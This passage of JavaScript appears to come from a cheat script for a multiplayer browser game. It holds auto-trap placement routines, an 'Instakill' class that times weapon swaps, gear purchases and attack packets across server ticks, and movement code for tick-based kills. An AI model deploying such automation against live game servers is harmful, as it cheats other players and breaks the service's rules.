  5195. .filter((e) => e.trap && e.active)
  5196. .sort((a, b) => UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2))
  5197. .find((trap) => {
  5198. const trapDist = Math.hypot(trap.y - near.y2, trap.x - near.x2);
  5199. return (
  5200. trap !== player &&
  5201. (player.sid === trap.owner.sid || findAllianceBySid(trap.owner.sid)) &&
  5202. trapDist <= near.scale*1.8
  5203. );
  5204. });
  5205. if (trap && near.dist2 <= 250) {
  5206. checkPlace(2, Math.atan2(player.y - trap.y, player.x - trap.x) + Math.PI);
  5207. } else if (!trap && dist <= 400) {
  5208. if(dist < 200) {
  5209. for(let i=(-55);i<55;i+=55) {
  5210. checkPlace(2, near.aim2+toR(i));
  5211. }
  5212. }
  5213. if(dist >= 200) {
  5214. for(let i=(-90);i<270;i+=90) {
  5215. checkPlace(4, near.aim2+toR(i));
  5216. }
  5217. }
  5218. }
  5219. }
  5220. } catch (e) {}
  5221. }
  5222. };
  5223.  
  5224. this.autoPlace = function () {
  5225.  
  5226. if (enemy.length && configs.autoPlace && !instaC.ticking) {
  5227. if (getEl("autoPlacetype").value == "spamtrap") {
  5228. if (game.tick % (Math.max(1, parseInt(getEl("autoPlaceTick").value))||1) === 0) {
  5229. if (gameObjects.length) {
  5230. let near2 = {
  5231. inTrap: false,
  5232. };
  5233. let nearTrap = gameObjects.filter(e => e.trap && e.active && e.isTeamObject(player) && UTILS.getDist(e, near, 0, 2) <= (near.scale + e.getScale() + 5)).sort(function (a, b) {
  5234. return UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2);
  5235. })[0];
  5236. if (nearTrap) {
  5237. near2.inTrap = true;
  5238. } else {
  5239. near2.inTrap = false;
  5240. }
  5241. if (testMode ? enemy.length : (near.dist2 <= 300)) {
  5242. if (near.dist2 <= 200) {
  5243. this.testCanPlace(4, 0, (Math.PI * 2), (Math.PI / 24), near.aim2, 0, {inTrap: near2.inTrap});
  5244. } else {
  5245. player.items[4] == 15 && this.testCanPlace(4, 0, (Math.PI * 2), (Math.PI / 24), near.aim2);
  5246. }
  5247. }
  5248. } else {
  5249. if (testMode ? enemy.length : (near.dist2 <= 300)) {
  5250. player.items[4] == 15 && this.testCanPlace(4, 0, (Math.PI * 2), (Math.PI / 24), near.aim2);
  5251. }
  5252. }
  5253. }
  5254. }
  5255. }
  5256. };
  5257.  
  5258.  
  5259. this.autoPlace = function () { //HaThu best perfect place antikick
  5260. if (getEl("autoPlacetype").value == "ramdomplc") {
  5261. try {
  5262. const dist = near.dist2;
  5263. const trap = gameObjects
  5264. .filter((e) => e.trap && e.active)
  5265. .sort((a, b) => UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2))
  5266. .find((trap) => {
  5267. const trapDist = Math.hypot(trap.y - near.y2, trap.x - near.x2);
  5268. return (
  5269. trap !== player &&
  5270. (player.sid === trap.owner.sid || findAllianceBySid(trap.owner.sid)) &&
  5271. trapDist <= near.scale * 1.8
  5272. );
  5273. });
  5274.  
  5275. if (trap && near.dist2 <= 250) {
  5276. const angleToTrap = Math.atan2(player.y - trap.y, player.x - trap.x);
  5277. checkPlace(2, angleToTrap + Math.PI);
  5278. } else if (!trap && dist <= 300) {
  5279. if (dist < 200) {
  5280. const maxAngle = Math.PI / 6;
  5281. const angleMultiplier = Math.min(1, Math.max(0, (dist - 150) / 130));
  5282. const adjustedAngle = maxAngle * angleMultiplier;
  5283.  
  5284. for (let i = -55; i < 55; i += 55) {
  5285. const perfectAngle = calculatePerfectAngle(near.x2, near.y2, player.x2, player.y2);
  5286. checkPlace(2, perfectAngle + adjustedAngle + toR(i));
  5287. }
  5288. }
  5289. if (dist >= 200) {
  5290. const maxAngle = Math.PI / 6;
  5291. const angleMultiplier = Math.min(1, Math.max(0, (dist - 150) / 130));
  5292. const adjustedAngle = maxAngle * angleMultiplier;
  5293.  
  5294. for (let i = -90; i < 270; i += 90) {
  5295. const perfectAngle = calculatePerfectAngle(near.x2, near.y2, player.x2, player.y2);
  5296. checkPlace(4, perfectAngle + adjustedAngle + toR(i));
  5297. }
  5298. }
  5299. }
  5300. } catch (e) {}
  5301. };
  5302. }
  5303.  
  5304. this.autoPlace = function () {
  5305. if (configs.autoPlace && game.tick % (Math.max(1, parseInt(getEl("autoPlaceTick").value)) || 1) === 0) {
  5306. if (getEl("autoPlacetype").value == "aiplace") {
  5307. try {
  5308. const trap1 = gameObjects
  5309. .filter((e) => e.trap && e.active)
  5310. .sort((a, b) => UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2))
  5311. .find((trap) => {
  5312. const trapDist = Math.hypot(trap.y - near.y2, trap.x - near.x2);
  5313. return (
  5314. trap !== player &&
  5315. (player.sid === trap.owner.sid || findAllianceBySid(trap.owner.sid)) &&
  5316. trapDist <= 50
  5317. );
  5318. });
  5319. if (this.inTrap) {
  5320. let antiTrapAngles = Math.PI / Math.floor(Math.random() * (20 - 10 + 1)) + 10;
  5321. this.testCanPlace(4, -(Math.PI / 2), (Math.PI / 2), antiTrapAngles, near.aim2);
  5322. } else {
  5323. if (trap1 && near.dist2 <= 180) {
  5324. const trapX = trap1.x;
  5325. const trapY = trap1.y;
  5326. const circleRadius = 102;
  5327. const numPositions = 64;
  5328. for (let i = 0; i < numPositions; i++) {
  5329. const angle = (2 * Math.PI * i) / numPositions;
  5330. const offsetX = trapX + circleRadius * Math.cos(angle);
  5331. const offsetY = trapY + circleRadius * Math.sin(angle);
  5332. const position = [offsetX, offsetY];
  5333. const distToPlayer = Math.hypot(position[0] - player.x2, position[1] - player.y2);
  5334. if (
  5335. isPositionValid(position) &&
  5336. distToPlayer <= 87
  5337. ) {
  5338. const angleToPlace = Math.atan2(position[1] - player.y2, position[0] - player.x2);
  5339. checkPlace(2, angleToPlace);
  5340. }
  5341. }
  5342. } else if (!trap1 && near.dist2 <= 206) {
  5343. const maxTrapsToPlace = 3;
  5344. const trapRadius = 50;
  5345. const trapPositions = calculatePossibleTrapPositions(player.x2, player.y2, trapRadius);
  5346. let trapsPlaced = 0;
  5347. for (const position of trapPositions) {
  5348. if (
  5349. trapsPlaced < maxTrapsToPlace &&
  5350. isPositionValid(position)
  5351. ) {
  5352. checkPlace(4, ...position);
  5353. trapsPlaced++;
  5354. }
  5355. }
  5356. }
  5357. }
  5358. } catch (e) {
  5359. console.log(e);
  5360. }
  5361. }
  5362. };
  5363. }
  5364.  
  5365. this.autoPlace = function() {
  5366. // if (!configs.autoplacer) return;
  5367. if (enemy.length && configs.autoPlace && !instaC.ticking) {
  5368. if (game.tick % (Math.max(1, parseInt(getEl("autoPlaceTick").value)) || 1) === 0) {
  5369. if (gameObjects.length) {
  5370. let near2 = {
  5371. inTrap: false,
  5372. };
  5373. let nearTrap = gameObjects.filter(e => e.trap && e.active && e.isTeamObject(player) && UTILS.getDist(e, near, 0, 2) <= (near.scale + e.getScale() + 5)).sort(function(a, b) {
  5374. return UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2);
  5375. })[0];
  5376. if (nearTrap) {
  5377. near2.inTrap = true;
  5378. } else {
  5379. near2.inTrap = false;
  5380. }
  5381. if (near.dist3 <= 450) {
  5382. if (near.dist3 <= 200) {
  5383. this.testCanPlace(4, 0, (Math.PI * 2), (Math.PI / 24), near.aim2, 0, {
  5384. inTrap: near2.inTrap
  5385. });
  5386. } else {
  5387. player.items[4] == 15 && this.testCanPlace(4, 0, (Math.PI * 2), (Math.PI / 24), near.aim2);
  5388. }
  5389. }
  5390. } else {
  5391. if (near.dist3 <= 450) {
  5392. player.items[4] == 15 && this.testCanPlace(4, 0, (Math.PI * 2), (Math.PI / 24), near.aim2);
  5393. }
  5394. }
  5395. }
  5396. }
  5397. };
  5398.  
  5399. /* function autoPlace() { // bug place
  5400. let nearObj = [];
  5401. if (gameObjects.length && enemy.length) {
  5402. let inTrap = false;
  5403. nearObj = gameObjects.filter((e)=>e.trap).sort(function(a, b) {
  5404. return (UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2));
  5405. })[0];
  5406. if (nearObj) {
  5407. if (!(player.sid != nearObj.owner.sid && !findAllianceBySid(nearObj.owner.sid)) && UTILS.getDist(nearObj, near, 0, 2) <= 70 && nearObj.active) {
  5408. inTrap = true;
  5409. } else {
  5410. inTrap = false;
  5411. }
  5412. if (near.dist2 <= 350) {
  5413. if (inTrap && near.dist2 <= 200) {
  5414. if (near.dist2 <= player.scale + near.scale + Math.PI * 2) {
  5415. checkPlace(2, near.aim2 - UTILS.getDirect(nearObj, near, 0, 2));
  5416. checkPlace(2, near.aim2 + UTILS.getDirect(nearObj, near, 0, 2));
  5417. }
  5418. }
  5419. if (near.dist2 <= near.scale + player.scale) {
  5420. checkPlace(2, near.aim2);
  5421. } else {
  5422. if (near.dist2 <= 200 && !instaC.canSpikeTick && !traps.in && !inTrap) {
  5423. checkPlace(2, near.aim2 + UTILS.toRad(90));
  5424. checkPlace(2, near.aim2 - UTILS.toRad(90));
  5425. } else {
  5426. if (near.dist2 <= 250) {
  5427. checkPlace(2, near.aim2 + Math.PI);
  5428. } else {
  5429. for (let i = 0; i < 360; i += 90) {
  5430. checkPlace(4, UTILS.toRad(i));
  5431. }
  5432. }
  5433. }
  5434. }
  5435. }
  5436. }
  5437. }
  5438. }*/
  5439.  
  5440.  
  5441.  
  5442.  
  5443.  
  5444. this.autoplace = function () {
  5445. let oldXY = {
  5446. x: undefined,
  5447. y: undefined,
  5448. };
  5449. if (getEl("autoPlacetype").value == "magicplace") {
  5450.  
  5451.  
  5452.  
  5453. let nearObj = [];
  5454. let randomDir = Math.random() * Math.PI * 2;
  5455. if (gameObjects.length && enemy.length) {
  5456. let nearsa = {
  5457. inTrap: false,
  5458. };
  5459. nearObj = gameObjects.filter((e)=>e.trap).sort(function(a, b) {
  5460. return (UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2));
  5461. })[0];
  5462. let nearTrap = gameObjects.filter(e => e.trap && e.active && e.isTeamObject(player) && UTILS.getDist(e, near, 0, 2) <= (near.scale + e.getScale() + 5)).sort(function (a, b) {
  5463. return UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2);
  5464. })[0];
  5465. let near2 = {
  5466. inTrap: false,
  5467. };
  5468. if (nearTrap) {
  5469. near2.inTrap = true;
  5470. } else {
  5471. near2.inTrap = false;
  5472. }
  5473. if (nearObj) {
  5474. if (!(player.sid != nearObj.owner.sid && !findAllianceBySid(nearObj.owner.sid)) && UTILS.getDist(nearObj, near, 0, 2) <= 70 && nearObj.active) {
  5475. nearsa.inTrap = true;
  5476. } else {
  5477. nearsa.inTrap = false;
  5478. }
  5479. if (near.dist2 <= 600) {
  5480. if (nearsa.inTrap || near.dist2 <= 60 + near.scale) {
  5481. if (near.dist2 <= 250) {
  5482. for (let i = 0; i < Math.PI * 2; i += Math.PI / 1.5) {
  5483. checkPlace(2, near.aim2 + i);
  5484. }
  5485. } else {
  5486. for (let i = Math.PI / 1.5; i < Math.PI * 2; i += Math.PI / 1.5) {
  5487. checkPlace(2, near.aim2 + i);
  5488. }
  5489. }
  5490. } else {
  5491. if (player.items[4] == 15) {
  5492. if (near.dist2 <= 200) {
  5493. for (let i = 0; i < Math.PI * 2; i += Math.PI / 2) {
  5494. checkPlace(4, randomDir + i);
  5495. }
  5496. }
  5497. }
  5498. }
  5499. }
  5500. } else {
  5501. if (near.dist2 <= 400) {
  5502. if (player.items[4] == 15) {
  5503. checkPlace(4, near.aim2);
  5504. }
  5505. }
  5506. }
  5507. }
  5508. }
  5509. }
  5510.  
  5511.  
  5512.  
  5513. /* this.replacer = function(findObj) {
  5514. if (!findObj || !configs.autoReplace) return;
  5515. if (!inGame) return;
  5516. if (this.antiTrapped) return;
  5517. game.tickBase(() => {
  5518. let objAim = UTILS.getDirect(findObj, player, 0, 2);
  5519. let objDst = UTILS.getDist(findObj, player, 0, 2);
  5520. if (configs.autoGrind && objDst <= items.weapons[player.weaponIndex].range + player.scale) return;
  5521. if (objDst <= 400 && near.dist2 <= 400) {
  5522. let danger = this.checkSpikeTick();
  5523. if (!danger && near.dist2 <= items.weapons[near.primaryIndex || 5].range + (near.scale * 1.8)) {
  5524. //this.testCanPlace(2, -(Math.PI / 2), (Math.PI / 2), (Math.PI / 18), objAim, 1);
  5525. this.testCanPlace(2, 0, (Math.PI * 2), (Math.PI / 24), objAim, 1);
  5526. } else {
  5527. player.items[4] == 15 && this.testCanPlace(4, 0, (Math.PI * 2), (Math.PI / 24), objAim, 1);
  5528. }
  5529. this.replaced = true;
  5530. }
  5531. }, 1);
  5532. };
  5533. }
  5534. };*/
  5535. function calculatePerfectAngle(x1, y1, x2, y2) {
  5536. return Math.atan2(y2 - y1, x2 - x1);
  5537. }
  5538. this.replacer = function (findObj) {
  5539. if (!findObj || !configs.autoReplace) return;
  5540. if (!inGame) return;
  5541. if (this.antiTrapped) return;
  5542. game.tickBase(() => {
  5543. let objAim = UTILS.getDirect(findObj, player, 0, 2);
  5544. let objDst = UTILS.getDist(findObj, player, 0, 2);
  5545. if (getEl("weaponGrind").checked && objDst <= items.weapons[player.weaponIndex].range + player.scale) return;
  5546. if (objDst <= 400 && near.dist2 <= 400) {
  5547. let danger = this.checkSpikeTick();
  5548. if (!danger && near.dist2 <= items.weapons[near.primaryIndex || 5].range + (near.scale * 1.8)) {
  5549. //this.testCanPlace(2, -(Math.PI / 2), (Math.PI / 2), (Math.PI / 18), objAim, 1);
  5550. this.testCanPlace(2, 0, (Math.PI * 2), (Math.PI / 24), objAim, 1);
  5551. } else {
  5552. player.items[4] == 15 && this.testCanPlace(4, 0, (Math.PI * 2), (Math.PI / 24), objAim, 1);
  5553. }
  5554. this.replaced = true;
  5555. }
  5556. }, 1);
  5557. };
  5558. }
  5559. };
  5560.  
  5561. class Instakill {
  5562. constructor() {
  5563. if (secPacket > 60) return
  5564. this.wait = false;
  5565. this.can = false;
  5566. this.isTrue = false;
  5567. this.nobull = false;
  5568. this.ticking = false;
  5569. this.canSpikeTick = false;
  5570. this.startTick = false;
  5571. this.readyTick = false;
  5572. this.canCounter = false;
  5573. this.revTick = false;
  5574. this.syncHit = false;
  5575. this.changeType = function(type) {
  5576. this.wait = false;
  5577. this.isTrue = true;
  5578. my.autoAim = true;
  5579. let instaLog = [type];
  5580. let backupNobull = near.backupNobull;
  5581. near.backupNobull = false;
  5582. game.tickBase(() => {
  5583. instaLog.push(player.skinIndex);
  5584. game.tickBase(() => {
  5585. if (near.skinIndex == 22 && getEl("backupNobull").checked) {
  5586. near.backupNobull = true;
  5587. }
  5588. instaLog.push(player.skinIndex);
  5589. }, 1);
  5590. }, 1);
  5591. if (type == "rev") {
  5592. selectWeapon(player.weapons[1]);
  5593. buyEquip(53, 0);
  5594. buyEquip(21, 1);
  5595. sendAutoGather();
  5596. game.tickBase(() => {
  5597. if (near.dist2 <= 140 && configs.doSpikeOnReverse) place(2, getAttackDir());
  5598. selectWeapon(player.weapons[0]);
  5599. buyEquip(7, 0);
  5600. game.tickBase(() => {
  5601. sendAutoGather();
  5602. this.isTrue = false;
  5603. my.autoAim = false;
  5604. }, 1);
  5605. }, 1);
  5606. } else if (type == "nobull") {
  5607. selectWeapon(player.weapons[0]);
  5608. sendAutoGather();
  5609. game.tickBase(() => {
  5610. selectWeapon(player.weapons[1]);
  5611. buyEquip(player.reloads[53] == 0 ? 53 : 6, 0);
  5612. buyEquip(21, 1);
  5613. game.tickBase(() => {
  5614. sendAutoGather();
  5615. this.isTrue = false;
  5616. my.autoAim = false;
  5617. }, 1);
  5618. }, 1);
  5619.  
  5620. } else if (type == "normal") {
  5621. selectWeapon(player.weapons[0]);
  5622. buyEquip(7, 0);
  5623. sendAutoGather();
  5624. game.tickBase(() => {
  5625. selectWeapon(player.weapons[1]);
  5626. buyEquip(player.reloads[53] == 0 ? 53 : 6, 0);
  5627. buyEquip(21, 1);
  5628. game.tickBase(() => {
  5629. sendAutoGather();
  5630. this.isTrue = false;
  5631. my.autoAim = false;
  5632. }, 1);
  5633. }, 1);
  5634. } else {
  5635. setTimeout(() => {
  5636. this.isTrue = false;
  5637. my.autoAim = false;
  5638. }, 50);
  5639. }
  5640. };
  5641. this.spikeTickType = function() {
  5642. this.isTrue = true;
  5643. my.autoAim = true;
  5644. healer();
  5645. selectWeapon(player.weapons[0]);
  5646. buyEquip(7, 0);
  5647. sendAutoGather();
  5648. game.tickBase(() => {
  5649. selectWeapon(player.weapons[0]);
  5650. buyEquip(53, 0);
  5651. game.tickBase(() => {
  5652. sendAutoGather();
  5653. this.isTrue = false;
  5654. my.autoAim = false;
  5655. }, 1);
  5656. }, 1);
  5657. };
  5658. this.counterType = function() {
  5659. this.isTrue = true;
  5660. my.autoAim = true;
  5661. selectWeapon(player.weapons[0]);
  5662. buyEquip(7, 0);
  5663. buyEquip(21, 1);
  5664. sendAutoGather();
  5665. game.tickBase(() => {
  5666. if (player.reloads[53] == 0 && getEl("turretCombat").checked) {
  5667. selectWeapon(player.weapons[0]);
  5668. buyEquip(53, 0);
  5669. buyEquip(21, 1);
  5670. game.tickBase(() => {
  5671. sendAutoGather();
  5672. this.isTrue = false;
  5673. my.autoAim = false;
  5674. }, 1);
  5675. } else {
  5676. sendAutoGather();
  5677. this.isTrue = false;
  5678. my.autoAim = false;
  5679. }
  5680. }, 1);
  5681. };
  5682. this.antiCounterType = function() {
  5683. my.autoAim = true;
  5684. this.isTrue = true;
  5685. inantiantibull = true;
  5686. selectWeapon(player.weapons[0]);
  5687. buyEquip(6, 0);
  5688. buyEquip(21, 1);
  5689. io.send("D", near.aim2);
  5690. sendAutoGather();
  5691. game.tickBase(() => {
  5692. buyEquip(player.reloads[53] == 0 ? player.skins[53] ? 53 : 6 : 6, 0);
  5693. buyEquip(21, 1);
  5694. game.tickBase(() => {
  5695. sendAutoGather();
  5696. this.isTrue = false;
  5697. my.autoAim = false;
  5698. inantiantibull = false;
  5699. }, 1);
  5700. }, 1)
  5701. };
  5702. this.rangeType = function(type) {
  5703. this.isTrue = true;
  5704. my.autoAim = true;
  5705. if (type == "ageInsta") {
  5706. sendChat("info gived");
  5707. my.ageInsta = false;
  5708. if (player.items[5] == 18) {
  5709. place(5, near.aim2);
  5710. }
  5711. packet("a", undefined, 1);
  5712. buyEquip(22, 0);
  5713. buyEquip(21, 1);
  5714. game.tickBase(() => {
  5715. selectWeapon(player.weapons[1]);
  5716. buyEquip(53, 0);
  5717. buyEquip(21, 1);
  5718. sendAutoGather();
  5719. game.tickBase(() => {
  5720. sendUpgrade(12);
  5721. selectWeapon(player.weapons[1]);
  5722. buyEquip(53, 0);
  5723. buyEquip(21, 1);
  5724. game.tickBase(() => {
  5725. sendUpgrade(15);
  5726. selectWeapon(player.weapons[1]);
  5727. buyEquip(53, 0);
  5728. buyEquip(21, 1);
  5729. game.tickBase(() => {
  5730. sendAutoGather();
  5731. this.isTrue = false;
  5732. my.autoAim = false;
  5733. }, 1);
  5734. }, 1);
  5735. }, 1);
  5736. }, 1);
  5737. } else {
  5738. selectWeapon(player.weapons[1]);
  5739. if (player.reloads[53] == 0 && near.dist2 <= 700 && near.skinIndex != 22) {
  5740. buyEquip(53, 0);
  5741. } else {
  5742. buyEquip(20, 0);
  5743. }
  5744. buyEquip(11, 1);
  5745. sendAutoGather();
  5746. game.tickBase(() => {
  5747. sendAutoGather();
  5748. this.isTrue = false;
  5749. my.autoAim = false;
  5750. }, 1);
  5751. }
  5752. };
  5753. this.oneTickType = function() {
  5754. io.send("7113213.29154");
  5755. this.isTrue = true;
  5756. my.autoAim = true;
  5757. selectWeapon(player.weapons[1]);
  5758. buyEquip(53, 0);
  5759. buyEquip(19, 1);
  5760. packet("a", near.aim2, 1);
  5761. if (player.weapons[1] == 15) {
  5762. my.revAim = true;
  5763. sendAutoGather();
  5764. }
  5765. game.tickBase(() => {
  5766. my.revAim = false;
  5767. selectWeapon(player.weapons[0]);
  5768. buyEquip(7, 0);
  5769. buyEquip(19, 1);
  5770. packet("a", near.aim2, 1);
  5771. if (player.weapons[1] != 15) {
  5772. sendAutoGather();
  5773. }
  5774. game.tickBase(() => {
  5775. sendAutoGather();
  5776. this.isTrue = false;
  5777. my.autoAim = false;
  5778. packet("a", undefined, 1);
  5779. }, 1);
  5780. }, 1);
  5781. };
  5782. this.threeOneTickType = function() {
  5783. io.send("Tick2");
  5784. this.isTrue = true;
  5785. my.autoAim = true;
  5786. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5787. biomeGear();
  5788. buyEquip(19, 1);
  5789. packet("a", near.aim2, 1);
  5790. game.tickBase(() => {
  5791. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5792. buyEquip(53, 0);
  5793. buyEquip(19, 1);
  5794. packet("a", near.aim2, 1);
  5795. game.tickBase(() => {
  5796. selectWeapon(player.weapons[0]);
  5797. buyEquip(7, 0);
  5798. buyEquip(19, 1);
  5799. sendAutoGather();
  5800. packet("a", near.aim2, 1);
  5801. game.tickBase(() => {
  5802. sendAutoGather();
  5803. this.isTrue = false;
  5804. my.autoAim = false;
  5805. packet("a", undefined, 1);
  5806. }, 1);
  5807. }, 1);
  5808. }, 1);
  5809. };
  5810. this.kmTickType = function() {
  5811. this.isTrue = true;
  5812. my.autoAim = true;
  5813. my.revAim = true;
  5814. selectWeapon(player.weapons[1]);
  5815. buyEquip(53, 0);
  5816. buyEquip(19, 1);
  5817. sendAutoGather();
  5818. packet("a", near.aim2, 1);
  5819. game.tickBase(() => {
  5820. my.revAim = false;
  5821. selectWeapon(player.weapons[0]);
  5822. buyEquip(7, 0);
  5823. buyEquip(19, 1);
  5824. packet("a", near.aim2, 1);
  5825. game.tickBase(() => {
  5826. sendAutoGather();
  5827. this.isTrue = false;
  5828. my.autoAim = false;
  5829. packet("a", undefined, 1);
  5830. }, 1);
  5831. }, 1);
  5832. };
  5833. this.boostTickType = function() {
  5834. /*this.isTrue = true;
  5835. my.autoAim = true;
  5836. selectWeapon(player.weapons[0]);
  5837. buyEquip(53, 0);
  5838. buyEquip(11, 1);
  5839. packet("a", near.aim2);
  5840. game.tickBase(() => {
  5841. place(4, near.aim2);
  5842. selectWeapon(player.weapons[1]);
  5843. biomeGear();
  5844. buyEquip(11, 1);
  5845. sendAutoGather();
  5846. packet("a", near.aim2);
  5847. game.tickBase(() => {
  5848. selectWeapon(player.weapons[0]);
  5849. buyEquip(7, 0);
  5850. buyEquip(19, 1);
  5851. packet("a", near.aim2);
  5852. game.tickBase(() => {
  5853. sendAutoGather();
  5854. this.isTrue = false;
  5855. my.autoAim = false;
  5856. packet("a", undefined);
  5857. }, 1);
  5858. }, 1);
  5859. }, 1);*/
  5860. this.isTrue = true;
  5861. my.autoAim = true;
  5862. biomeGear();
  5863. buyEquip(11, 1);
  5864. packet("a", near.aim2, 1);
  5865. game.tickBase(() => {
  5866. if (player.weapons[1] == 15) {
  5867. my.revAim = true;
  5868. }
  5869. selectWeapon(player.weapons[[9, 12, 13, 15].includes(player.weapons[1]) ? 1 : 0]);
  5870. buyEquip(53, 0);
  5871. buyEquip(11, 1);
  5872. if ([9, 12, 13, 15].includes(player.weapons[1])) {
  5873. sendAutoGather();
  5874. }
  5875. packet("a", near.aim2, 1);
  5876. place(4, near.aim2);
  5877. game.tickBase(() => {
  5878. my.revAim = false;
  5879. selectWeapon(player.weapons[0]);
  5880. buyEquip(7, 0);
  5881. buyEquip(19, 1);
  5882. if (![9, 12, 13, 15].includes(player.weapons[1])) {
  5883. sendAutoGather();
  5884. }
  5885. packet("a", near.aim2, 1);
  5886. game.tickBase(() => {
  5887. sendAutoGather();
  5888. this.isTrue = false;
  5889. my.autoAim = false;
  5890. packet("a", undefined, 1);
  5891. }, 1);
  5892. }, 1);
  5893. }, 1);
  5894. };
  5895. this.gotoGoal = function(goto, OT) {
  5896. let slowDists = (weeeee) => weeeee * config.playerScale;
  5897. let goal = {
  5898. a: goto - OT,
  5899. b: goto + OT,
  5900. c: goto - slowDists(1),
  5901. d: goto + slowDists(1),
  5902. e: goto - slowDists(2),
  5903. f: goto + slowDists(2),
  5904. g: goto - slowDists(4),
  5905. h: goto + slowDists(4)
  5906. };
  5907. let bQ = function(wwww, awwww) {
  5908. if (player.y2 >= config.mapScale / 2 - config.riverWidth / 2 && player.y2 <= config.mapScale / 2 + config.riverWidth / 2 && awwww == 0) {
  5909. buyEquip(31, 0);
  5910. } else {
  5911. buyEquip(wwww, awwww);
  5912. }
  5913. }
  5914. if (enemy.length) {
  5915. let dst = near.dist2;
  5916. this.ticking = true;
  5917. if (dst >= goal.a && dst <= goal.b) {
  5918. bQ(22, 0);
  5919. bQ(11, 1);
  5920. if (player.weaponIndex != player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0] || player.buildIndex > -1) {
  5921. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5922. }
  5923. return {
  5924. dir: undefined,
  5925. action: 1
  5926. };
  5927. } else {
  5928. if (dst < goal.a) {
  5929. if (dst >= goal.g) {
  5930. if (dst >= goal.e) {
  5931. if (dst >= goal.c) {
  5932. bQ(40, 0);
  5933. bQ(10, 1);
  5934. if (configs.slowOT) {
  5935. player.buildIndex != player.items[1] && selectToBuild(player.items[1]);
  5936. } else {
  5937. if ((player.weaponIndex != player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]) || player.buildIndex > -1) {
  5938. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5939. }
  5940. }
  5941. } else {
  5942. bQ(22, 0);
  5943. bQ(19, 1);
  5944. if ((player.weaponIndex != player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]) || player.buildIndex > -1) {
  5945. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5946. }
  5947. }
  5948. } else {
  5949. bQ(6, 0);
  5950. bQ(12, 1);
  5951. if ((player.weaponIndex != player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]) || player.buildIndex > -1) {
  5952. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5953. }
  5954. }
  5955. } else {
  5956. biomeGear();
  5957. bQ(11, 1);
  5958. if ((player.weaponIndex != player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]) || player.buildIndex > -1) {
  5959. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5960. }
  5961. }
  5962. return {
  5963. dir: near.aim2 + Math.PI,
  5964. action: 0
  5965. };
  5966. } else if (dst > goal.b) {
  5967. if (dst <= goal.h) {
  5968. if (dst <= goal.f) {
  5969. if (dst <= goal.d) {
  5970. bQ(40, 0);
  5971. bQ(9, 1);
  5972. if (configs.slowOT) {
  5973. player.buildIndex != player.items[1] && selectToBuild(player.items[1]);
  5974. } else {
  5975. if ((player.weaponIndex != player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]) || player.buildIndex > -1) {
  5976. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5977. }
  5978. }
  5979. } else {
  5980. bQ(22, 0);
  5981. bQ(19, 1);
  5982. if ((player.weaponIndex != player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]) || player.buildIndex > -1) {
  5983. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5984. }
  5985. }
  5986. } else {
  5987. bQ(6, 0);
  5988. bQ(12, 1);
  5989. if ((player.weaponIndex != player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]) || player.buildIndex > -1) {
  5990. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5991. }
  5992. }
  5993. } else {
  5994. biomeGear();
  5995. bQ(11, 1);
  5996. if ((player.weaponIndex != player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]) || player.buildIndex > -1) {
  5997. selectWeapon(player.weapons[[10, 14].includes(player.weapons[1]) ? 1 : 0]);
  5998. }
  5999. }
  6000. return {
  6001. dir: near.aim2,
  6002. action: 0
  6003. };
  6004. }
  6005. return {
  6006. dir: undefined,
  6007. action: 0
  6008. };
  6009. }
  6010. } else {
  6011. this.ticking = false;
  6012. return {
  6013. dir: undefined,
  6014. action: 0
  6015. };
  6016. }
  6017. }
  6018. /** wait 1 tick for better quality */
  6019. this.bowMovement = function() {
  6020. let moveMent = this.gotoGoal(685, 3);
  6021. if (moveMent.action) {
  6022. if (player.reloads[53] == 0 && !this.isTrue) {
  6023. this.rangeType("ageInsta");
  6024. } else {
  6025. packet("a", moveMent.dir, 1);
  6026. }
  6027. } else {
  6028. packet("a", moveMent.dir, 1);
  6029. }
  6030. },
  6031. this.tickMovement = function() {
  6032. let dist = player.weapons[1] == 9 ? 240 : 240;
  6033. let actionDist = player.weapons[1] == 9 ? 2 : player.weapons[1] == 12 ? 1.5 : player.weapons[1] == 13 ? 1 : player.weapons[1] == 15 ? 2 : 3;
  6034. let moveMent = this.gotoGoal(238, 3);
  6035. if (moveMent.action) {
  6036. if (player.reloads[53] == 0 && !this.isTrue) {
  6037. this.boostTickType();
  6038. } else {
  6039. packet("a", moveMent.dir, 1);
  6040. }
  6041. } else {
  6042. packet("a", moveMent.dir, 1);
  6043. }
  6044. },
  6045. this.kmTickMovement = function() {
  6046. let moveMent = this.gotoGoal(240, 3);
  6047. if (moveMent.action) {
  6048. if (near.skinIndex != 22 && player.reloads[53] == 0 && !this.isTrue && ((game.tick - near.poisonTick) % config.serverUpdateRate == 8)) {
  6049. this.kmTickType();
  6050. } else {
  6051. packet("a", moveMent.dir, 1);
  6052. }
